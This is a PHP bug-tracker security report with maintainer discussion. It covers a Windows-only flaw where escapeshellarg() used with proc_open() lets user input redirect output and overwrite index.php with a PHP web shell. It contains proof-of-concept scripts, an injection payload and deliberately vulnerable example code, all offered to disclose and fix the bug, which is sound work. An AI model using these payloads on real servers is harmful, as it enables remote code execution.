|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
[2019-09-19 17:11 UTC] 64796c6e69 at gmail dot com
Description: ------------ When escapeshellarg() is used to escape an executable path for proc_open(), further escaped arguments allow an arbitrary write. The arbitrary write can be used for arbitrary code execution. In the test script, assume that the second call to escapeshellarg() is given user input and that index.php is in the document root. When the script is run, index.php is overwritten to run arbitrary commands. This bug is Windows-specific. It was originally reported as https://bugs.php.net/bug.php?id=61440 but not as a security bug, so it has been ignored for over 7 years. Test script: --------------- <?php $pipes = []; proc_open( escapeshellarg("type")." ". escapeshellarg("^<?eval^(\$_GET['cmd'])?^> >index.php 2>&1 "), [], $pipes ); Expected result: ---------------- The command runs successfully or gives an error, without creating a file, such as: '"type"' is not recognized as an internal or external command, operable program or batch file. Actual result: -------------- index.php is overwritten with a PHP shell: 'type" "<?eval($_GET['cmd'])?>' is not recognized as an internal or external command, operable program or batch file. PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
|
|||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Sun Oct 26 14:00:01 2025 UTC |
I think the provided test script can be simplified: file_put_contents('index.php', "<?eval(\$_GET['cmd'])?>"); In other words, if you actively support such nonsense, of course, all security is gone.@cmb I'm not sure I understand your response. Isn't the purpose of escapeshellarg() to make some dynamic input safe to use as an argument? To exploit this, the argument is provided by the user, but the executable is static. There are legitimate ways this can come up. This is a less contrived example: <?php // user input $_GET['encoding'] = "^<?eval^(\$_GET['cmd']?^> >index.php 2>&1"; function systemNoOutput(string ...$command): void { $pipes = []; // system() doesn't capture stderr $p = proc_open( implode(' ', array_map('escapeshellarg', $command)), [1 => ['pipe', 'w'], 2 => ['pipe', 'w']], $pipes ); foreach ($pipes as $pipe) { fclose($pipe); } proc_close($p); } // ignored errors for invalid encodings systemNoOutput('iconv', '-t', 'utf-8', '-f', $_GET['encoding'], '../path/to/uloaded/file', '-o', '../path/to/uploaded/file'); ?> There is no way to use the iconv extension to performantly convert an entire file, so using the shell makes sense. That script has no security problems on Linux, but it introduces a vulnerability on Windows.Ah, took me a while, but now I understand! At first, I though the user input would be $_GET['cmd'], and the rest was hard-coded in your script (which would be bad). So in your first script escapeshellarg() does exactly what it is supposed to do: escapeshellarg("^<?eval^(\$_GET['cmd'])?^> >index.php 2>&1 ") => "^<?eval^($_GET['cmd'])?^> >index.php 2>&1 " One problem is that you are also escaping the command name, so basically you're calling proc_open("type" "^<?eval^($_GET['cmd'])?^> >index.php 2>&1 ", …) Without bypass_shell=true, this is exactly the same as executing cmd /c "type" "^<?eval^($_GET['cmd'])?^> >index.php 2>&1 " This causes the following to be executed type" "^<?eval^($_GET['cmd'])?^> >index.php 2>&1 And this causes the dangerous error message to be written to index.php. One could argue that proc_open() with bypass_shell=false should implicitly escape the $cmd, i.e. cmd /c "type"" ""^<?eval^($_GET['cmd'])?^> >index.php 2>&1 "" I have to think about that.Thanks for all comments so far! Since I didn't receive further input on other channels as well, let's review what we have. > Both variants of the code are passing unsanitized input to the > shell. The escaping functions are not the way to sanitize input. It seems to me there are cases where this is not possible (at least not fully), namely if the user supplied input is supposed to be passed as mere data to an external command, for instance, to `openssl passwd`. A respective code snippet: $input = $_GET['password']; if (preg_match('/[^ -~]/', $input)) { die('only printable ASCII characters allowed'); } $cmd = 'openssl passwd ' . escapeshellarg($input); $proc = proc_open($cmd, $descs, $pipes); This looks like pretty safe code to me. Now consider that the openssl executable is not necessarily in the path, so it is made configurable: const OPENSSL = 'path/to/openssl'; Since this path may contain spaces, the developer duly adapts: $cmd = escapeshellarg(OPENSSL) . ' passwd ' . escapeshellarg($input); After OPENSSL has been properly configured, the code runs as expected on Linux, but fails on Windows, because additional quoting would be required. If the code is only tested on Linux, but also deployed on Windows, an attacker is able to create a remote shell, if OPENSSL doesn't contain spaces, because the whole $cmd is interpreted as the command by cmd.exe, and redirection of STDERR to a file can be triggered, resulting in something like the following file contents: 'openssl" passwd "<?eval($_GET['cmd'])?>' is not recognized as an internal or external command, operable program or batch file. > Agreed, but cmd escaping is weird, so it has to be […] `cmd /c` escaping is special[1], and it may fall back to the old behavior: | Otherwise, old behavior is to see if the first character is | a quote character and if so, strip the leading character and | remove the last quote character on the command line, preserving | any text after the last quote character. So basically, we could simply add the /s option to enforce the old behavior, and put a single set of double-quotes around the (already properly escaped) $cmd. Doing this automatically would break existing code, though, which already does that manually, and it doesn't look like there's any reasonably sane way to detect whether additional quoting has to be applied. We could, however, introduce a new option, say quote_shell_command[2], which has to be passed to proc_open() to add the quotes (and the /s flag). > I am not saying that proc_open() should be rewritten to take an > array of arguments, […] For what it's worth, this is already available as of PHP 7.4.0, but only supported for bypass_shell==true. [1] <https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/cmd#remarks> [2] <https://gist.github.com/cmb69/aa8296994e683fdb2e9d6fbce4fbebda>